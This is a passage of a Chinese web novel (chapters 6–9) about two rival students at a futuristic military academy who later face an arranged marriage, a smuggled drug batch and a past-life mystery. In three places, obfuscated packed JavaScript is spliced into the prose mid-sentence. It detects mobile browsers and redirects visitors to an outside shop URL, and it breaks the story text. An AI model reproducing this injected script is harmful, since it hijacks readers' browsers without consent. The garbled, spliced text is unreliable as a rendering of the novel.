融合了古地球时期拜占庭和哥特风格的古典校园建筑,就这样在盎然生机中伫立不动。整个校园在日落时被黄昏浸没,浑厚钟声里鸽群展翅飞舞,美得不可思议。 而新生们几乎无暇欣赏美丽的校园风光,只在训练的间隙拖着疲惫的身躯往宿舍楼和食堂走去。三个月的封闭式训练里,只有间隔的几天会给他们们放假。 仲雅校区还有一批二年级的学生,学校外是有名的学府区,建设得很好,几条街的餐厅和酒吧,一下课都是熙熙攘攘的。长期的训练和封闭的管理,让新生们对出校的学长学姐羡艳不已,眼泪早已从嘴巴里呜呜流了出来。 而就是在放假的这一天,闻泊彻被几个室友们叫出去喝酒,结果忘了门禁时间。别说宿舍门了,就是连校门也差点进不去。 第二天,几个人自然头痛欲裂,昏昏沉沉地睡过了早课训练时间。 封闭训练期间,早课训练是自由练习,但会由院学生会进行随机抽查和点名。一旦错过早课开始的时间,就进不去训练场了。 毫无疑问,进不去训练场,白天一天的课也不用上了。 几个喝酒的人显然不是第一次闯祸。闻泊彻走在去训练场路上的时候,两个室友扒拉着他的肩膀,一左一右地说:“泊彻,完了,今天在门口检查的是小检察官。” 闻泊彻头还有点痛,揉了揉眉心:“什么小检察官?” “季临韫啊,你不知道吗?”室友艾弗里说,“他父亲是联邦检察院大检察官,他当然就是小检察官了,我们都这么叫。” 闻泊彻抬头,视线顿在训练场门口的清瘦身影上。 季临韫一身黑色训练服,收束的金属腰带设计使布料流畅向下,将他漂亮的腰线勾勒出来,整个人身形显得挺拔而利落。他是典型的东方长相,黑发黑眸,冷然的眼下是精致如琢的鼻尖和下颚,将气质衬得无比凌冽。 浓绿树影落在他的身上,在手中的记分册上,光斑晃动不停。 闻泊彻脚步一顿。 “那完蛋了,”另一个室友赫托苦着脸说,“小检察官看着就不好惹。” “你们酒还没醒吗?”闻泊彻说,“从我胳膊上起来,都压麻了。” 学院对在军事训练期间迟到的学生,有一套很严格的处罚措施。即使是从小被父亲训练的闻泊彻,真要罚起来也觉得吃力。 于是,两人跟着闻泊彻,磨磨蹭蹭朝训练场走去。 季临韫正在核查名单,听到金属靴低敲击地面的脚步声,抬起了头。 “同学你好,”只见眼前的闻泊彻脸色惨白,可怜巴巴地被两个室友搀着,说,“我早上犯了头痛病,室友们送我去看校医了,这才迟到了。” 季临韫朝他看过来,漆黑的眼眸中好似不带感情。他有些迟疑地看了几人片刻,发现闻泊彻额头冷汗涔涔,脸色又无比苍白,不似作伪。 这时,赫托从口袋里掏出了一张小纸条,说:“校医开了证明,我们还带上了药……” 季临韫接过纸条,看了一眼,还了回去。他低下头,伸手覆在闻泊彻略带滚烫的额头上,开口时声色冷冽,却带着关切:“同学,你还好吗?” 闻泊彻一愣,抬眼时额头已经被柔软的掌心覆住。 他当时没有蒙混过关的庆幸,只是有些怔怔地想,小检察官看上去不近人情,其实还很关心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114146|195900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同学嘛。 手掌也比想象中软好多。 “你们去训练吧。”军事训练十分严苛,季临韫应该是没遇见过胆敢在这装病的学生,神色柔和下来许多。这会儿他接替了两人搀扶的位置,扶着闻泊彻,问:“需要喝水吗?先到阴凉的地方休息一下吧。” 闻泊彻想,这可不能休息,等会儿上午的训练就正式开始了。他们班的□□是父亲的老熟人,一眼就能看出来怎么回事。 “好。”闻泊彻这样想,却还是坐在树荫下,感激地看向季临韫,说,“同学,谢谢你。我刚刚好像看见门口进来了两个人,你要先忙吗?” “我先过去。”季临韫好像是不放心,走前又碰了碰他的额头,认真地说,“有需要可以告诉我们,旁边也有几位学生组织的成员在。” 闻泊彻看着季临韫离开的背影,对上不远处朝自己竖大拇指的两个室友,姿态慵懒地靠向身后的苹果树。 他也有些不可思议,指尖下意识伸出,覆在季临韫碰过的地方。他想,今天是小检察官第一次执勤吗?竟然这么好骗? 纸条是赫托之前生病时校医开的,当时刚到学校,还没开始训练。校医那会儿正好忙得焦头烂额,丢了张证明让赫托自己填。 然而,不怪季临韫轻信,由于严苛的管理,确实几乎没有人胆敢在学府的军事训练期间违反校规。 果然,不过一小时,分管□□就立马发现了这件事,将闻泊彻三人全学院通报批评,并处罚他们负重绕校园跑十圈,军事封闭期间每日训练加练一小时,并且需要打扫全校果树区域。 在傍晚时分,日落西沉的时候,几个人没有吃饭,背着石头绕着校园跑步去了。 在处罚集合的时候,闻泊彻再次看见了季临韫。 他还是早晨那身黑色训练服,眼眸沉默而冰冷。 季临韫看都没有看他们一眼,径直走过来,一言不发地背起了旁边的负重袋,在旁边和他们一起受罚。 等体能处罚彻底结束,几个人都已经浑身汗津津的,没什么力气了。 连闻泊彻都觉得脚底发麻,浑身酸得有些站不稳。他刚要抬身,眼前却一道劲风扫过,伴随着早晨那点冷冽愠怒的声线:“你骗我。” 闻泊彻反应迅速,侧身躲过季临韫的拳头。这人看着清瘦,打架却强劲有力,在负重跑了十圈之后还是招招带风,直往他身上劈。 闻泊彻没想到季临韫还有力气,交手一阵实在有点招架不住。他本就理亏,这会儿索性放手,当头就挨了季临韫一下。 季临韫也没料到他忽然收手,力道毫不留情,还是冲脸上去的,把闻泊彻当场就打出了鼻血。 “你……”闻泊彻下意识扣住季临韫的手腕,这下是真是头脑有些发蒙,眼前阵阵发黑了。 季临韫看他满脸都是血,一下子也觉得自己下手太重了。他抿了抿唇,冷淡的眼瞥向一边,却听到闻泊彻问:“还打吗,同学?” 季临韫挣了两下,手腕没挣出来,还发红了。他冷冷地说:“打够了。” 闻泊彻于是放开了他。他本来想跟季临韫道歉,再问问人是哪个班的、要不要一起去吃饭。但他现在脸上着实是不好看,鼻血都淌下来了,旁边艾弗里克和赫托更是吓傻了。 他们觉得太恐怖了,就怕季临韫狠下毒手,一拳把闻泊彻打死在这里。两人连忙上前搀扶,挡住了闻泊彻看向季临韫的视线。 季临韫看着手掌上沾着的血迹,退后一步让出位置,转身冷冷离开了。 两个人都家世显赫,这样打了一场,几乎是整个学府第二天就传遍了。 学府内部星网上,传的是联邦元帅之子闻泊彻纨绔不堪,引诱小检察官季临韫暴力执法,差点被替天行道的小检察官活活打死。 闻泊彻在星网上那张满脸是血的图太惨不忍睹,学府颜狗的各位于是也对他毫不同情,反倒直夸小检察官拳拳到位,是霸王美人花。 赫托和艾弗里克有点看不下去,说:“就算是我们连累小检察官挨罚,他也不能上来就一拳啊,鼻子都差点打歪了,这不寻衅滋事吗?” 两人于是精心挑选,匿名散播了几张闻泊彻的私人照,舆论风向才逐渐好转。 但从此以后,几乎所有人在公开场合提到他们,都只有这几个字。 针锋相对、势不两立。 7. 骗子 7. “星网上都是谣言,季检察官怎么会把我揍得满脸是血?卢林,你不觉得这样的话很滑稽吗?” 军部的量子用车快速驶出轨道。卢林抓着方向盘,思考片刻,认真地说:“确实,我也觉得之前听到的传闻不应该。私下斗殴是违反校规的吧?季检察官那样的人,不太可能带头破坏纪律。” 闻泊彻闻言,想,私下斗殴确实是违纪的。 所以那天之后,在开设了两年的、两个班一起上的格斗课上,季临韫和他单独成了一组搭档,下手都毫不留情。 闻泊彻跟着父亲在军部长大,从小受到严格的军事训练,原本也占据了体格的优势。他被季临韫揍了一脸血是还他的,真要打起来,季临韫还真有些讨不到好。 闻泊彻是这样想的,但真上起课来,他发现季临韫身形实在太敏捷了,状态比那天负重训练过后好很多。他打法又快又狠,虽然在最后体力上耗不过闻泊彻,但也在被双手抵在墙壁上之前,让闻泊彻吃了不少暗亏。 闻泊彻当时扣着季临韫的手腕,有意居高临下地注视他,想说些什么将死对头羞辱一番。可他对上季临韫漆黑而明亮的眼眸,发现汗水几乎将这位搭档浸湿了,白色的衬衫紧贴着他的胸膛,领口在打斗中松松垮垮,露出大片雪白、瓷玉一样细腻的脖颈,和身下精瘦的腰线。 闻泊彻稍愣,手掌松懈片刻。 随后他就看见那双黑眼中寒光一闪,随后腹部剧痛传来,眼前场景飞速略过—— 他被季临韫一脚踹了出去,整个人摔在地上,踹了好几米。 那是闻泊彻第一次在格斗课上输。 死联邦学院,一群穷鬼。闻泊彻当天捂着小腹咒骂,想,格斗课不应该统一服装吗?谁允许季临韫穿白衬衫的?! 卢林坐在一旁,见老大沉默了半天,以为说错什么话了。半晌,他才小心翼翼地问:“老大,你是自愿答应结婚的吗?” 闻泊彻回神,下意识伸手拿了一块切片的吐司:“不然呢?” “你可要想好啊。”卢林又瞥了瞥他脸上的伤口,满是担忧的说,“你到时候要是想要离婚,或者季检察官婚内……法院那边全是他亲信啊。” “讲什么晦气话?”闻泊彻凉飕飕地瞟了副官一眼,说,“谁要和他离婚?” 他见卢林不敢讲话了,才满意地吃了一口手上的全麦面包,随即也沉默下来:“……卢林,农科部做出来的都是这种产品吗?” “是的,老大。”卢林听到闻泊彻开口,才喘了口大气,说,“准备全星域推广,议会已经批准了,预计下个星期就会进入联邦第一学院的食堂。” “是议会能做出来的事。”闻泊彻费力地把手上的面包片吃完,象征性地同情了一下母校的学弟学妹。 “老大,你到时候会上跟主席提提吧,”卢林说,“让农科部把研发面包经费交给军部,他正好愁钱。” 说话间,量子车已经开到了宽阔的大道上,过了前方军区的检查口。卢林将闻泊彻送到会议大楼下,方便他直接上去参会。 闻泊彻最烦温特米尔主持的会议,因为总是会伴随着一群议会议员的出席。他面无表情地上了楼,来到会议室。 两个小时后,会议室的大门重新打开。 闻泊彻刚走出来,回到自己的办公室,就差点跟里面跑出来的卢林重新撞上。他看着有些手无足措的副官,皱了皱眉,冷声训斥:“卢林,你这几年一直跟着我,怎么还这么不沉稳?” 没等卢林开口,办公室内就响起了一道威严而沉肃的声音:“卢林不沉稳?他准备和你告密,当然要跑得快一点了!” 卢林这才擦了擦额头上的汗,低声说:“老大,您父亲……闻老元帅早上到了,在里面等您。” 闻泊彻的父亲闻令昭是上一任军部统领,原本这样的年纪不应该退役,但十几年前的一场战役让他落下严重的心肺疾病,几乎无法再带兵。 他卸下军部职务后,就没再插手军队的事情了。几位年轻的将领也成长了起来,偶尔会来向他寻求部署方面的指点,但里面不包括闻泊彻。 闻泊彻几乎从没有和父亲交流过军队职务,所有决策都是独立完成。两个人即使回到家面对面,也不会谈任何军队里的事情。 所以在自己的办公室里看见闻令昭,闻泊彻有些讶然,笑了笑说:“您怎么来了?” 闻令昭拿起那杯卢林给自己泡好的热茶,冷笑一声,把桌案上的几张纸狠狠拍在闻泊彻脸上:“我为什么过来?我再不过来,你都要无法无天了!” “你自己看看!这都是什么!” 闻泊彻拿下糊在自己脸上的几张报纸,皱了皱眉。 星历发展了这么多年,这种古地球的东西已经很少了,但报纸勉强算一项。是在两百多年前的纸质书籍文艺复兴狂潮里重新出现的,一直发展到现在,还有很多人会购买每日报纸。 而就在闻泊彻眼前的这份报纸,头版标题大字标着:军部用车街边狂震不止,竟是元帅强迫昔日死敌! 镜头应该藏得很隐蔽,以一个很偏僻的角度拍到了闻泊彻的半张脸。而那半张脸的下面,露出了季临韫压在窗户上的后脑,和白皙的、被强迫性扣住的手腕。 拍摄用了高精度的仪器,将图像拍得清晰无比。仔细看,还能看见闻泊彻眼眸里漫不经心的笑意,和季临韫手上明显留下的红痕。 随后又是不同角度的几张,可惜没有拍到季临韫的脸。 军部的车是带有高屏蔽装置的。闻泊彻看着照片,立即意识到,季临韫那天靠到车窗,无意按到了车窗上的按钮,解除了单向玻璃的屏蔽。 “你还看?还在回味是吗?”闻令昭将茶杯重重一摔,满脸怒意,“闻泊彻!你到底对季家的那小子做了什么?” “我没有。”闻泊彻看着标题,自己的脸就出现在下面,姿势确实是季临韫受迫。他几乎有种跳进黄河也洗不清的感觉,说,“这都是无良媒体瞎编的!您都多大年纪了,怎么还会信这个?” “上面的人不是你吗?还是上面的人不是季临韫?”闻令昭见他不承认,起身站到闻泊彻身边,眼角因怒火而微微带起皱纹,“你们还没结婚,你就敢去外面偷人?” 闻泊彻觉得这个无良媒体真该请自己爹坐镇,竟然还能越说越离谱。他只觉得冤枉:“我真没有!您这也太离谱了,外面造谣都没您这样乱按罪名的。” “那你就是未婚强/暴!” “您怎么会这样想我?”闻泊彻看着自己父亲暴怒而挥起的手掌,连忙躲了一下,说,“季临韫是大检察官,我还能强迫他?要是我对不起他,他第二天就给我告到联邦最高法院了!” 闻令昭稍微冷静了一下,手掌还有些发抖:“你跟季临韫到底怎么回事?我昨天刚从疗养院出来,一出来就听到了你和他要结婚的消息,然后就是这张报纸。这不是你强迫他的结果?” “婚讯是奥利西斯订下的。”闻泊彻说,“他当时应该也给您发了通讯,但您在疗养院,应该看不见讯息。” 他总算知道闻令昭为什么气成这样了。闻令昭几个月前突发心疾,被送到疗养院静养了一段时间,里面隔绝了讯息和网络。他和季临韫之前一向不和,后面捡到季临韫的事情老爹也不知道,一出来就看见了强迫的新闻和婚讯,这才怒气冲冲地赶到了军部。 “奥利西斯发什么疯?”闻令昭“呵”了一声,说,“让你们两个联姻,亏他想得出来!”他停顿片刻,狐疑地问:“不是你和奥利西斯有勾结吧?” 闻泊彻在旁边收拾溅出来的茶水,给老爹重新泡了杯茶,冷漠地说:“您觉得可能吗?” “那这个婚,你是想结还是不想结?”闻令昭说,“你要是不想结,别耽误季家那小子了。你们这么多年一直看对方不顺眼,真会因为奥利西斯一句话结婚?” “海纳德家族在维尔星上的势力越来越大,”闻泊彻沉默片刻,说,“已经逐渐从边境星球向首都星渗透大片,他想让我们联姻,来对抗这股势力。” “维尔星是当初帝国划过来的殖民星,”闻令昭冷笑一声,说,“奥利西斯当时放任这股势力不管,现在哪这么轻易控制?” 他即使多年不管军部的事情,但还是对星区时事了解颇深。父子间好一阵没有讲话,半晌,闻令昭才说:“就算你同意,季临韫那边呢?他也同意吗?” 闻泊彻不敢说季临韫失忆了,也不敢说在人刚醒来时就哄骗说自己是他未婚夫。他只得含糊地说:“他同意的。” “真是可惜了季临韫,他是有大义的人。”闻令昭瞥了一眼自家儿子,喝茶时叹了口气,说,“奥利西斯也是缺德,把季家的好姻缘拆了,来便宜你了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114147|195900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 闻泊彻眉头微微一皱:“什么季家的好姻缘?” “季家以前和卡斯特洛家挨着。”闻令昭冷哼一声,说,“他们家大儿子,狄明斯,和季临韫从小就是一起长大的,感情深厚,两家不是亲家也胜似亲家了。” 闻泊彻听到“狄明斯”这个名字,眉眼下压,神色微妙地冷淡下去。 他当然知道这是谁。 在联邦学院,闻泊彻和季临韫闹到如此难堪的地步,少不了这人一份功劳。在被季临韫打得满脸血的时候,闻泊彻甚至都没有多讨厌他,而是首先想到要和他道歉。 他们不在同一个班级,于是闻泊彻就打听到了隔壁班的课表,笑眯眯地蹲着季临韫下课,想问他要不要一起去训练,再一起去吃一顿饭。 季临韫起先根本不愿搭理他,但闻泊彻持续几个月频繁出现,甚至连夏天都随着军事训练一起过去了。最后他招架不住,答应周末一起去训练场。 到这一刻,闻泊彻都觉得,他能和季临韫成为朋友。 直到周末的傍晚,距离约定还有一个小时,暴雨忽然倾盆,乌云黑压压的,巨大的雨珠和雷声将天地震响。 闻泊彻提前赶往室内训练场,就在路上,在明亮的教学楼旁边,看见季临韫从里面走出来,到了一个青年的黑伞下。 闻泊彻走过去,想让季临韫搭他的伞,他们正好一起去训练场。 雨下得很大,本来应该模糊天地间的所有声响。但闻泊彻的五感却异常清晰,两人背对着他,他听到季临韫身边青年笑着开口说。 “阿韫,我听说了最近的事情,很抱歉才赶过来。你的手怎么这么凉?” 雨声淅淅沥沥。 “……闻泊彻,我虽然不是很了解,但听闻他一向强势。阿韫,你不要吃亏。” 闻泊彻听了一大段话,脑子里却想:这个人怎么知道季临韫手冷?他摸他手了? 随后,他才恍然意识到,他们正在谈论自己。 雨声断续。 闻泊彻脚步微顿,身形一避,刻意将自己隐匿在瓢泼大雨的黑暗中。他带着一点难以言喻的紧张和期待,想听见季临韫的回答。 他们不过几步间距,能清晰听见季临韫冷淡的声音响起。 “我知道。此人油嘴滑舌、诡计多端,我不会和他走近。” 那一刻闪电正好迎面劈下,闻泊彻脑袋轰然“嗡”得一声,眼前片刻发白。他拿着伞柄的手缓慢紧绷,咬着牙站在雨里。 季临韫什么意思?这样讨厌他还惺惺作态地答应邀约,一早就决定了要耍他玩么? 闻泊彻一时间恼怒与愤恨交加,感觉自尊心都被狠狠踩在了脚下践踏。他眼睛发红,带着怒意平复着呼吸,转头大步离开了教学楼口。 这场铺天盖地的暴雨,迎头浇灭了他可笑的妄想。 他浑身湿漉漉地回到宿舍,两个室友都震惊地看向他:“泊彻,你不是约……约小检察官打架去了吗,怎么回来这么快?” “不打了。”闻泊彻阴森森地一咬牙,说,“他根本不打算去。” 赫托见他低气压,有意让他心情好一些,于是连忙凑上去,说:“哎呀,这种死天气,不去就不去了。泊彻,你还没吃饭吧?我们一会儿准备偷偷煮火锅呢,好不容易的休息日,你别生气。” 艾弗里克也锤了两下他的肩,说:“就是就是。泊彻,你赶紧去洗个澡,一起过来吃啊。” 闻泊彻手指蜷缩握拳,现在还有些气得发抖。他不明白,季临韫怎么能这样耍他?他是第一次见面就骗了他,但他也结结实实挨了一拳,还在军事训练结束后连续在教室门口等了他了半个月! 季临韫如此厌烦他,为什么要虚伪地答应他?看他浑身湿透在训练场等不到他的落魄样子,就这样让他心生快意吗? 他竟然还说他油嘴滑舌,诡计多端! 闻泊彻越想越生气,往墙上狠砸一拳。他几息才勉强平复呼吸,转身走进淋浴间,没注意放在外面的通讯器反复亮了好几下。 这个晚上,他没有再去看桌案上的通讯器。冻雨还在下,暖烘烘的室内,赫托和艾弗里克兴奋地拆着食材,火锅煮沸的咕嘟小泡和水汽一起冒出来。 第二天清晨,闻泊彻才发现,季临韫其实赴约了。 他才是浑身湿透地在室内训练场,等了他一个晚上。 8. 样本 8. “奥利西斯就是脑子进水了。”闻令昭端着茶杯,骂骂咧咧地问候了执政官一番。 他睁眼看见自己不争气的儿子,烦得不行,说,“你和季家那小子当时闹成那样,我在远星带队的时候都能天天听见你们打架的事,你们结婚?哼。” “那是上格斗课需要,我们一组训练。”闻泊彻有些无奈。 当年他和季临韫在第一学院不和,被爱看热闹的同学在论坛传疯了。 大家就爱看两个长得好看、家世相当的人对对方下死手,发挥想象编出来的故事能盖几千层楼,当事人都无奈了。 “第一学院的管理很严格,严禁学生私下打架斗殴。”他不知道谣言传成什么样了,只得把季临韫搬出来,说,“季临韫是学生会成员,他一向都遵守规章,怎么可能会和我打架?” “这倒是。”闻令昭摸了两下下巴,稍微平复了些心情,说,“我反正是管不了你的事了,你自己想好吧。真要结这个婚,你以后要是跟季家有矛盾,我第一个收拾你!” 闻泊彻心说,我喜欢他还来不及,哪里还想和他闹一点矛盾。他笑了一下,说:“知道了,老爹。” “那这照片怎么回事?”闻令昭转头又看见那张照片,狐疑地说,“你们在车里干什么?” 闻泊彻也顺着他的目光看过去,干笑两声,说:“我和临韫……培养感情呢。我们以前不是关系不太好吗。” 那些照片极其暧昧,灯光下玻璃窗里影影绰绰,两个人的身形重叠,很难不让人产生其他遐想。 闻令昭觉得那块头条简直有伤风化,又想到两人快结婚了,不好把季临韫一块骂。他迟疑了片刻,说:“你们以后……注意点吧。再干这种事,把屏蔽窗开了。” 闻泊彻连连称是,又反复保证了许久,总算把老爹送走了。 闻令昭一离开办公室,闻泊彻脸色立马冷了下来。他拨通了卢林的电话,让他处理媒体的事情。 卢林一接电话,也很震惊:“他们还敢传播老大你和检察官的艳情照?不要命了!” “……小点声,这很光彩吗!”闻泊彻另外吩咐了他几件事,最后咳了两声,快速地说,“卢林,你叫他们把照片撤下来,之后电子版发我一份。” 卢林不知道老大什么癖好,也不敢多问,只得说:“我办事您放心。” 闻泊彻有段时间没到军部,连着在这边处理了几天的事务,才终于喘息片刻。 他看了看时间,不早不晚,正好下午四点钟。这个时候约季临韫吃饭,他一下班,他就能开车到检察院门口,路上还能顺便买束花。 光是这样想,闻泊彻就忍不住扬起嘴角,迅速收拾好自己,走出办公大楼。 军部办公大楼下,停了好几辆重型装甲车。几队士兵整装待发地站在旁边,卢林也在,正皱着眉。 几个士兵队长见到闻泊彻,停下了手中动作,齐刷刷朝他行了一个标准的军礼:“元帅好!” “你们好。”闻泊彻和善地回礼,朝那边走过去,顺口问了副手一句:“卢林,这是在做什么?” “在押送物资。”卢林看见是闻泊彻,不由松了口气,说,“老大,你来了。这批物资是科学院研发的新型药剂,本来说是要专供军部的。” 闻泊彻听他压低声音,说:“但这批药剂前段时间出了问题,没有通过军部实验室的检测,现在要给科学院押送回去。” 闻泊彻也皱起眉。给军部供给的任何物质,都会在本部的实验室进行最严格的检测,这批药剂不合格,是很严重的问题。 他朝装甲车后车厢瞥去一眼,在看见集装箱上的编号时,浑身血液顿时凝固。 GP-379。 闻泊彻在看见这串数字的一瞬间,上辈子的回忆就如同潮水般涌入,几乎将人淹没。 他曾在季临韫的遗书中,见过这一编号。 上一世,闻泊彻再次踏入他们在首都星的别墅时,在封闭的地下室找到季临韫加密的遗书,里面就夹着写有这串数字的纸条。 轻飘飘的一张,季临韫却从没解释过任何关于它的信息。那封提前藏好的遗书,语言冷淡简练,却几乎像情书。 里面全都是和闻泊彻本人有关的事情,包括所有能威胁到他的可能性,相应的对策也列入其中。 却很少提及自己。 季临韫在别墅被软禁数月,最终被押入监狱,联邦媒体给出的理由是通敌。 但闻泊彻知道这绝不可能。 他当时痛不欲生,将纸条珍而重之地收起,却从未想过,这可能会和科学院扯上关系。 季临韫究竟是因为什么被关押、因为生了什么病死去,好像都随着他的去世烟消云散,再也查不到一点踪迹。 他没有给他留下任何文字线索。唯一的遗书中只剩下他们缄默于口的、错过的爱。 闻泊彻盯着集装箱上那串鲜红的数字,五指紧攥,用力到骨节泛白。 半晌,他才听到自己开口,嗓音干涩地问卢林:“这批药剂,是哪里出现了问题?” “唉,”卢林闻言,说,“其实也没什么。就是批次错了,这批药剂应该是供给给第九星区的,因为药物浓度不符合军用药品的标准,所以要送回去。” “只有药物浓度的问题吗?”闻泊彻问。 即使是这样,如果军部没有检测出来,也是非常重大的事故了。 “对,我能看到的检测结果上是这样。”卢林觑着老大的脸色,说,“这批药品是用于小型流感的。第九星区的标准是民用,但军用的摄入标准会高很多,所以不合格。” 闻泊彻深吸一口气,冰冷的空气涌入肺部,“这批样本能给我取一份吗?” “这可不行啊!”卢林一听,急忙压低声音说,“只要是从研究院出来的,不管是什么,都是最高级别的保密等级了。这些批次数量都已经上报了,丢一份军部都要负责的。” “我知道了。”闻泊彻面无表情看着面前的集装车,深绿色眼眸微眯,几个士兵还在不停地从军部的实验楼里搬运箱子。 他心中冷笑,想,只要东西不是在军部丢的,那就问不了军部的责了。 “老大,你怀疑这批药剂还有其他不对?”卢林最爱操心阴谋论相关的事情,怕这批东西不是单纯交付出错。 他正要开口,被闻泊彻黑着的脸色吓了一大跳:“老大,到底怎么了,你不要一直阴着脸吓我啊!” “没什么。”闻泊彻阴恻恻笑了一下,说,“就是今天不能和你们季检察官吃晚饭了。” “嗨呀。”卢林一听是恋爱的事,一颗心顿时就又放了下来。 他监督着士兵们将集装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114148|195900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车密封好,本来还想找闻泊彻汇报,一眨眼,老大人影就不见了。 卢林停在原地,眨了眨不太大的眼睛。 集装车内,闻泊彻正坐在一个摇摇晃晃的集装箱内。这是车里唯一的一个空箱,是他顺手从实验楼里带上来的,用来装混进车内的自己。 就算掐着外面的士兵的脖子,逼他吃温特米尔的面包,他们都不会想到,堂堂联邦元帅竟然会悄无声息地躲在一个集装箱里,还用精神力贴心地控制外面的封条贴好。 集装车颠簸着开了一个多小时,终于平稳地停了下来。后车厢内重见天日,几个士兵将集装箱搬出去。 搬到闻泊彻这个箱子的时候,有人敏锐地皱了皱眉,说:“这个箱子怎么和其他的不一样?感觉更重一点。” 闻泊彻感觉到自己被人用力颠了颠,眉头刚刚皱起,就听到旁边有人大喊:“这么重晃易碎品,你不要命啦!封条都贴在上面呢,能有什么问题啊,赶紧搬进去下班吧!” 药剂的数量不少,这些护送的士兵搬了好几个来回,才将装着闻泊彻的箱子丢在落满灰尘的废弃实验室内。 直到确认全部货物卸载完毕,护送的士兵全部离开后,闻泊彻才轻巧地一张拍开头顶的盖子,从箱子里探出身来。 他看着旁边装满相同型号药剂的箱子,从口袋中掏出一把小刀,沿着封条的边缘一路向下,将其完整无缺地取了下来。 其实,任何高级别的保密物质,都应该由项目的最高长官用精神力封条,并且在骑缝签名。这样一旦不对劲,很容易就能发现残留的其他精神力。 但很显然,由于第九星区是联邦边缘,研究院对这批物资并不上心,封条也是草草盖上。 正好给了闻泊彻可趁之机。 他迅速开盖,取出两只药剂分别塞入两侧口袋,再原封不动地复原了封条,将箱子放置在实验室的最深处。 闻泊彻偷完药剂,迅速观察了一下四周,发现不远处的箱子上还放着一套落灰的实验服和口罩。他利落地套上衣服,用口罩和医用手术帽将自己俊朗的轮廓遮去大半。 大门已经从外面锁了,他只能从窗外翻到另一侧的走廊上。 闻元帅踩着集装箱翻上了窗户,看见走廊四下无人,立即翻身下去合上窗户。 他快步往楼梯口走,想要迅速下楼离开研究院,却听到走廊尽头传来一阵脚步和推车声。 “今天的实验做得怎么样?别提了,数据又乱跑呗。” “嘿嘿,明天就开组会了,我看你怎么办。” 几个值班的研究员笑着走过转角,闻泊彻正要和他们碰上,身侧其他实验室虚掩的门却猛然打开,一只劲瘦的手掌按着他的肩,以猝不及防的速度将他拽了进去。 实验室里没开灯,黑暗一片。那只略带凉意的手用力捂着他的唇,冷冷问:“你怎么在这里?” 闻泊彻迅速擎住那只手腕,矮身朝后撞去,在交手的瞬息间交换了两个人的位置。他指节发力,一把将身后的人带近,扣着腰带到怀里。 闻泊彻低下头,怀中撞入一具温热柔软的躯体。他对上那双熟悉的黑色眼眸,带有一点强迫性意味地扣着怀中人的后脑,将他带起。 他笑了一声,话里喜怒不明:“这话不应该我来问么。” “季检察官,你又为什么在这里?” 9. 出柜 9. 黑暗中一阵沉默。 闻泊彻手臂收紧,低身在他耳边问:“鬼鬼祟祟的,躲在人家不用的房间里。是在找什么东西吗?大检察官。” “别挨我这么紧。” 他力气太大,季临韫挣了两下无果,一脚朝他靴子上狠狠踩去。闻泊彻硬生生受了这一下,挨了痛,反倒将他抱得更紧:“你不说话,我就当……” 话音未落,薄薄一层木门外传来由远及近的脚步声,和推车滑轮滚动的摩擦声。两个研究员的交谈声越来越清晰:“没这么快做实验,我还要去整理实验室的药品……” 几乎在片刻,脚步声在门前停下。 两个人迅速对视一眼,在开门的瞬间,以一个怪异的、类似于相拥的姿势,迅速挤进了实验室最深处的空药剂柜中。 下一刻,实验室的灯光被打开,研究员打着哈欠,推着小推车进入了房间。 柜中,季临韫被一只宽大有力的手臂揽住腰,整个人几乎被按在怀里,抬头就是闻泊彻的下巴,是一个密不透风的姿势。 这个药剂柜很小,只能勉强容纳他们两个成年男性。季临韫皱着眉,朝后调整了一下姿势,想去看闻泊彻,放在自己腰上的手却猛然收紧。 随后,他听到闻泊彻微哑的一声警告:“别乱蹭,季检察官。” 一门之隔,玻璃瓶放置的声音反复响起。 季临韫如愿转过头,在黑暗中看见闻泊彻的脸。那双祖母绿眼睛沉沉下低,略微眯起,盯着自己的神色宛如大型兽类。 他对那声警告不以为意,对着这样的眼神,抓住闻泊彻青筋迸起的手臂往回转,却在下坐时猛然触碰到了更加滚烫的东西。 “闻泊彻!” 季临韫才明白闻泊彻在说什么,脸上满是难以置信,那双漂亮的眉也讶异而愠怒地蹙起。他不便言语,气得发抖也只能发出一声短促的气声。 而闻泊彻居于上位,这样低头看见他眼尾浮起的绯红怒色,下意识喉结滚动。他不以为耻,还一把将季临韫扯至身前,说:“我好像和季检察官说过了,不要动。” “说了还不改,想对我干什么?” 季临韫脑子嗡鸣作响,手指都有点发抖,一把捂住他的嘴:“闭嘴。” 因为此时,他们正上方的柜门正发出了“吱嘎”一声响,那个研究员正往上方的空柜中陆续放入试剂。 